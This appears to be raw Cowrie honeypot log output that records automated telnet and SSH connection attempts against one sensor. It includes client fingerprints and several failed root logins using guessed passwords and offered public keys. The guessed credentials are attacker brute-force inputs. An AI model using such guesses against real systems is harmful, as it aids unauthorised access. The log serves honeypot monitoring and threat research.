{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51464,"dst_ip":"10.17.0.5","dst_port":23,"session":"562db2f18088","protocol":"telnet","message":"New connection: 192.119.13.58:51464 (10.17.0.5:23) [session: 562db2f18088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:24.946511Z"}
{"eventid":"cowrie.session.closed","duration":44.13585662841797,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:27.318336Z","src_ip":"192.119.13.58","session":"42575ae3e3d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51524,"dst_ip":"10.17.0.5","dst_port":23,"session":"432c458c5611","protocol":"telnet","message":"New connection: 192.119.13.58:51524 (10.17.0.5:23) [session: 432c458c5611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:30.218288Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58396,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b77b8ed162e","protocol":"telnet","message":"New connection: 192.119.13.58:58396 (10.17.0.5:23) [session: 9b77b8ed162e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:31.664348Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60954,"dst_ip":"10.17.0.5","dst_port":23,"session":"df1e7e153b29","protocol":"telnet","message":"New connection: 192.119.13.58:60954 (10.17.0.5:23) [session: df1e7e153b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:32.064887Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":60158,"dst_ip":"10.17.0.5","dst_port":22,"session":"787cd488c4d7","protocol":"ssh","message":"New connection: 103.82.132.16:60158 (10.17.0.5:22) [session: 787cd488c4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:32.365067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:32.370085Z","src_ip":"103.82.132.16","session":"787cd488c4d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:32.635890Z","src_ip":"103.82.132.16","session":"787cd488c4d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.35490417480469,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:33.033334Z","src_ip":"192.119.13.58","session":"e70eaba5a2c1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd","message":"login attempt [root/1234abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:33.488600Z","src_ip":"103.82.132.16","session":"787cd488c4d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:34.756095Z","src_ip":"103.82.132.16","session":"787cd488c4d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.192163944244385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:38.784281Z","src_ip":"192.119.13.58","session":"76aeffe14ae0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":27328,"dst_ip":"10.17.0.5","dst_port":22,"session":"995f3d1204b1","protocol":"ssh","message":"New connection: 201.249.192.30:27328 (10.17.0.5:22) [session: 995f3d1204b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:42.395354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:42.400364Z","src_ip":"201.249.192.30","session":"995f3d1204b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:42.467003Z","src_ip":"201.249.192.30","session":"995f3d1204b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.40372681617737,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:42.584630Z","src_ip":"192.119.13.58","session":"c93ac579e9aa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"madness123","message":"login attempt [root/madness123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:42.762315Z","src_ip":"201.249.192.30","session":"995f3d1204b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:43.831371Z","src_ip":"201.249.192.30","session":"995f3d1204b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.00916051864624,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:43.937749Z","src_ip":"192.119.13.58","session":"cd6eb6c238aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58056,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb871a2f3c71","protocol":"telnet","message":"New connection: 192.119.13.58:58056 (10.17.0.5:23) [session: fb871a2f3c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:44.844970Z"}
{"eventid":"cowrie.session.closed","duration":0.01147770881652832,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:44.856335Z","src_ip":"192.119.13.58","session":"fb871a2f3c71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54824,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc89edac9314","protocol":"telnet","message":"New connection: 192.119.13.58:54824 (10.17.0.5:23) [session: fc89edac9314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:44.914685Z"}
{"eventid":"cowrie.session.closed","duration":32.585877656936646,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:45.509387Z","src_ip":"192.119.13.58","session":"73e61c8159d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.790958404541016,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:45.515613Z","src_ip":"192.119.13.58","session":"6a667ec82079","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.243.38.174","src_port":34718,"dst_ip":"10.17.0.5","dst_port":22,"session":"77f48e1135ab","protocol":"ssh","message":"New connection: 104.243.38.174:34718 (10.17.0.5:22) [session: 77f48e1135ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:46.983960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:46.988713Z","src_ip":"104.243.38.174","session":"77f48e1135ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:46.995409Z","src_ip":"104.243.38.174","session":"77f48e1135ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:b1:2d:fa:98:b7:da:be:21:c1:cf:23:99:55:c5:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCst1cFcp+rmp+rLxIsY/fcP/UvnWw9bUYLjbb58CO7FYf6Yz/nx80i9MbJvk9LbNTmJPKSFV3OyHdca6SwF93MycrnOYgKa3NSqzR+hhmhmSqeriY5wdWgEl8sFUAJiNFhjkmtvsMU1NwmDyYt6LVSYF0NityXhBN2w7PglguQ3lsgcu7HREVH894Aly6lXlziu1TDv/5avmEHms9Ww/H7l6p+pcslNtYmmHezq7XdQeuLL8ZsKVjo3Q9X97ABb1EBnuxuGUiJPqRTjh14rh6GWsA4WxR2GAIeEtIuOUkDRXvCT4HQGCPYDHWyiXRhAkn5BfZvdf6KOHK0EY5fVJOV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:b1:2d:fa:98:b7:da:be:21:c1:cf:23:99:55:c5:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:47.012203Z","src_ip":"104.243.38.174","session":"77f48e1135ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:b1:2d:fa:98:b7:da:be:21:c1:cf:23:99:55:c5:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCst1cFcp+rmp+rLxIsY/fcP/UvnWw9bUYLjbb58CO7FYf6Yz/nx80i9MbJvk9LbNTmJPKSFV3OyHdca6SwF93MycrnOYgKa3NSqzR+hhmhmSqeriY5wdWgEl8sFUAJiNFhjkmtvsMU1NwmDyYt6LVSYF0NityXhBN2w7PglguQ3lsgcu7HREVH894Aly6lXlziu1TDv/5avmEHms9Ww/H7l6p+pcslNtYmmHezq7XdQeuLL8ZsKVjo3Q9X97ABb1EBnuxuGUiJPqRTjh14rh6GWsA4WxR2GAIeEtIuOUkDRXvCT4HQGCPYDHWyiXRhAkn5BfZvdf6KOHK0EY5fVJOV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:47.015989Z","src_ip":"104.243.38.174","session":"77f48e1135ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:32:be:e4:48:76:9c:9a:26:d1:75:1f:4e:cd:bd:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDc75hDcGQFDtJvjwLv97DtdOCaBaFA8o9HHuEyMTSWu4TjApINLmhOe3RmPYw2X5Nhq0PcUCStTeloo0IRw0NKPHRXt2suoldVn0rQxovFTUkr3mEcTZV+M6tG4yJkT7FCfoQP2VvMDqCRc2kM0+6an1R1Yxv0P2zmyP/8vhUtAw2wlAqJvIRty04pJSR0Qz+3zPqC1xV7WcSJr2JYBtYSFwW+iKTu86P6ZgDVBT3j77J7LNajQSFk+zEIVAJ+NeRd/+vYUl97DoZJ2DMl/let2kImU3zKPfXvf1kV/yemCDsmhIykt2OHiyPH7MrQtO/zyN7WNK283dpA67+9Bd5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:32:be:e4:48:76:9c:9a:26:d1:75:1f:4e:cd:bd:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:47.023658Z","src_ip":"104.243.38.174","session":"77f48e1135ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:32:be:e4:48:76:9c:9a:26:d1:75:1f:4e:cd:bd:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDc75hDcGQFDtJvjwLv97DtdOCaBaFA8o9HHuEyMTSWu4TjApINLmhOe3RmPYw2X5Nhq0PcUCStTeloo0IRw0NKPHRXt2suoldVn0rQxovFTUkr3mEcTZV+M6tG4yJkT7FCfoQP2VvMDqCRc2kM0+6an1R1Yxv0P2zmyP/8vhUtAw2wlAqJvIRty04pJSR0Qz+3zPqC1xV7WcSJr2JYBtYSFwW+iKTu86P6ZgDVBT3j77J7LNajQSFk+zEIVAJ+NeRd/+vYUl97DoZJ2DMl/let2kImU3zKPfXvf1kV/yemCDsmhIykt2OHiyPH7MrQtO/zyN7WNK283dpA67+9Bd5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:47.027871Z","src_ip":"104.243.38.174","session":"77f48e1135ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:cd:d1:2e:0e:86:b3:2a:48:04:19:29:24:21:a1:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMZT5Oj9aLv8JZf7L4B6BDp8MnBrzxNt3ChjmfgKpmdYVZTWb75dH2+pPIDWQEjZ/JWB2DJBkGWsEVCY2VKnpd7uytFnOyLTE9dXBH+q/USLksS6vuMr2cfSrysYIZgMhwUy+b5Han5WTh9JWoHMjp/8fB3deBylsb59dv8T107yI3O7+DJ/1HiEPuEz9dciJKdk6y8+6IeoxLr542COYKnQT9GrsB5S3ughzsYp6X2Ug8pymOC3jUVQdxtio1f8hBIZpGmH1Nnbxlgf/kNzLpJ9v0L4crILEt6+VaUtL/JJ2UsXpojLvmiTaHGdaBRSbdYW4QfZcWYdmvYqNJ/gzbCkCjur7xvEZzu0ds2Wiicdr9TYaxbINn7si7IzQe09iLD0LlgwKUXdrS+dmOrLfr678loICt5Xr9Xgc+rtr03INJQarZbge8XEwh4+x6gnb9DjfoeNbUnvdauhQK6AhZ+tA3F6o6eCeU1foGve7fPhFvgmvq4S7uVpCFIgcfcjZkMuvKPJALhGy88ipLW7Km4DpnCBpAhkLCi6hZLcsU936e+bn937DzQd5mY2zcLYVgiRRjWq9JQ2THfcOueTx4U54iC6yx/LSWTh50NdZ7091vnTfsu+/dAO8FJ9fvV4L6M2e8sfEQ7hT6puFm1sIfTtDCJgBwmec5DfBk+6MYUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:cd:d1:2e:0e:86:b3:2a:48:04:19:29:24:21:a1:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:47.035980Z","src_ip":"104.243.38.174","session":"77f48e1135ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:cd:d1:2e:0e:86:b3:2a:48:04:19:29:24:21:a1:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMZT5Oj9aLv8JZf7L4B6BDp8MnBrzxNt3ChjmfgKpmdYVZTWb75dH2+pPIDWQEjZ/JWB2DJBkGWsEVCY2VKnpd7uytFnOyLTE9dXBH+q/USLksS6vuMr2cfSrysYIZgMhwUy+b5Han5WTh9JWoHMjp/8fB3deBylsb59dv8T107yI3O7+DJ/1HiEPuEz9dciJKdk6y8+6IeoxLr542COYKnQT9GrsB5S3ughzsYp6X2Ug8pymOC3jUVQdxtio1f8hBIZpGmH1Nnbxlgf/kNzLpJ9v0L4crILEt6+VaUtL/JJ2UsXpojLvmiTaHGdaBRSbdYW4QfZcWYdmvYqNJ/gzbCkCjur7xvEZzu0ds2Wiicdr9TYaxbINn7si7IzQe09iLD0LlgwKUXdrS+dmOrLfr678loICt5Xr9Xgc+rtr03INJQarZbge8XEwh4+x6gnb9DjfoeNbUnvdauhQK6AhZ+tA3F6o6eCeU1foGve7fPhFvgmvq4S7uVpCFIgcfcjZkMuvKPJALhGy88ipLW7Km4DpnCBpAhkLCi6hZLcsU936e+bn937DzQd5mY2zcLYVgiRRjWq9JQ2THfcOueTx4U54iC6yx/LSWTh50NdZ7091vnTfsu+/dAO8FJ9fvV4L6M2e8sfEQ7hT6puFm1sIfTtDCJgBwmec5DfBk+6MYUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:47.039678Z","src_ip":"104.243.38.174","session":"77f48e1135ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:68:67:69:34:72:6c:28:80:ea:15:14:ca:13:e7:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRv8VmLjrKIrYzrLt6MkyqKIiyk5SAmsFWTZcCA6wLm1U7XLqYDmF5X0qC0zr8GO2EZgQI050rioEJZpxT+NV69yC2D8P/n07VAG+z/zDanza79KW1feT3IjGKNeb215i/nuCUST7n1TWQd76C2t2rdCsA16YW+SQgMh+oPfNap6mt7gmMUWjSkuKI8pcc/0LpQtPXsP9mp4t6fUlLOe9NOXaMdYx2DRVAu9L+kX9NYK3519GQ1Qtc759ktUkbfhlPrmCQVZwv3d6ncC+4x+VCuN6StKLEygwHt7skI7HKqB7YXLi/XzbSjaE+c/fprHuPh2YhnwFnRFoPvNs7tBMsxt8zFOD6i2z5z5qqwuGwA5dJ0R3tZpH7zXXrDqrwJWWokzL1KJi1z6ICgBbXC3I+wYPxNu6ctceZg1ZWq8R/xJRuOzUkOa8ZHh67Mcfgb5DPHigXSAnUixkXRsPRGxrDHLcBm1Yzk1PxFknyxHXufZgmL0rCseLfsJSDhxZ+IZ8yu2SInrzTTBmE/JqXvDayDHIk6knKl3KhHlaAig7kWmDazgRolPZb4gU2YD29AsQQa76w4y3uAizEBQJrc6rpscQx7TSk/51sUaFumRffdBoQ3n7s4eu+XsDrDAmpDyxUfQ7u9UXZoeZTNRhCwydzeJDvE6k2ieBez4pmnAAufQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:68:67:69:34:72:6c:28:80:ea:15:14:ca:13:e7:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:47.047938Z","src_ip":"104.243.38.174","session":"77f48e1135ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:68:67:69:34:72:6c:28:80:ea:15:14:ca:13:e7:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRv8VmLjrKIrYzrLt6MkyqKIiyk5SAmsFWTZcCA6wLm1U7XLqYDmF5X0qC0zr8GO2EZgQI050rioEJZpxT+NV69yC2D8P/n07VAG+z/zDanza79KW1feT3IjGKNeb215i/nuCUST7n1TWQd76C2t2rdCsA16YW+SQgMh+oPfNap6mt7gmMUWjSkuKI8pcc/0LpQtPXsP9mp4t6fUlLOe9NOXaMdYx2DRVAu9L+kX9NYK3519GQ1Qtc759ktUkbfhlPrmCQVZwv3d6ncC+4x+VCuN6StKLEygwHt7skI7HKqB7YXLi/XzbSjaE+c/fprHuPh2YhnwFnRFoPvNs7tBMsxt8zFOD6i2z5z5qqwuGwA5dJ0R3tZpH7zXXrDqrwJWWokzL1KJi1z6ICgBbXC3I+wYPxNu6ctceZg1ZWq8R/xJRuOzUkOa8ZHh67Mcfgb5DPHigXSAnUixkXRsPRGxrDHLcBm1Yzk1PxFknyxHXufZgmL0rCseLfsJSDhxZ+IZ8yu2SInrzTTBmE/JqXvDayDHIk6knKl3KhHlaAig7kWmDazgRolPZb4gU2YD29AsQQa76w4y3uAizEBQJrc6rpscQx7TSk/51sUaFumRffdBoQ3n7s4eu+XsDrDAmpDyxUfQ7u9UXZoeZTNRhCwydzeJDvE6k2ieBez4pmnAAufQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:47.051933Z","src_ip":"104.243.38.174","session":"77f48e1135ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:e9:d9:04:23:99:9b:25:18:1f:8e:f4:28:68:5c:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/+jL1Z7ZIVJs7ub6tBCch7MUlH8fji42n8sI+E6yKT3nz5Em7aUrYPWod63T4+3wXaUK0TvnnLWcF3FN1zW1cpN7trKaibfAOgX+dUMDBVotGJEvnj6D8gAkIOeq2V3u7kU6IZ52K5vjlRrBJZIU6Sqnqw0JfxkgF4CRyenG14Sg9DjEuTj3AbgAPm+/mSUnRSOmpMMxK9HjCCz8LTBPo7FYQFAcOGAOV0484kJaPUufylx4loohOfzByIt7oqtwhevoSbkxmmTV2PSNMlLR2UWrU9TaCKES2DdbmwPKnFIySIWT7TLpQgbwi3qWFpiwLFCdS5PHmshWy1EgzdyakSB/TuezovrO2qTz1BwXUWXyupM/iyOM4ZqSiJ5SWE2k3qcAlIraU1Z5RWPWiSd0O4Kd8JSUwct6KWOL4Is+/JUsBF5rXdaz3ANlVIhpK+sosvNSl9vbaWu3lAl9P9r9y9Emr/ZKkJsGI1QFQZn38yGriXI3H1Jbcw5pOr2rkSXewlRNMSX5rul/Z+unZJBHRasQkILc6vZfOTiojfSRwq6MepXFgNYeHjkJIUYAjchrmU1AbgHhUD+7OvV6TycL+244PrrqZIra+uOooz3CLu1FlJqCpx8dBgnK/Rj4OMrTnm9v7H6QC4e/FWbVUi8tMioWA4I+mmjZKy6atkAjvIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:e9:d9:04:23:99:9b:25:18:1f:8e:f4:28:68:5c:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:47.060996Z","src_ip":"104.243.38.174","session":"77f48e1135ab","protocol":"ssh"}
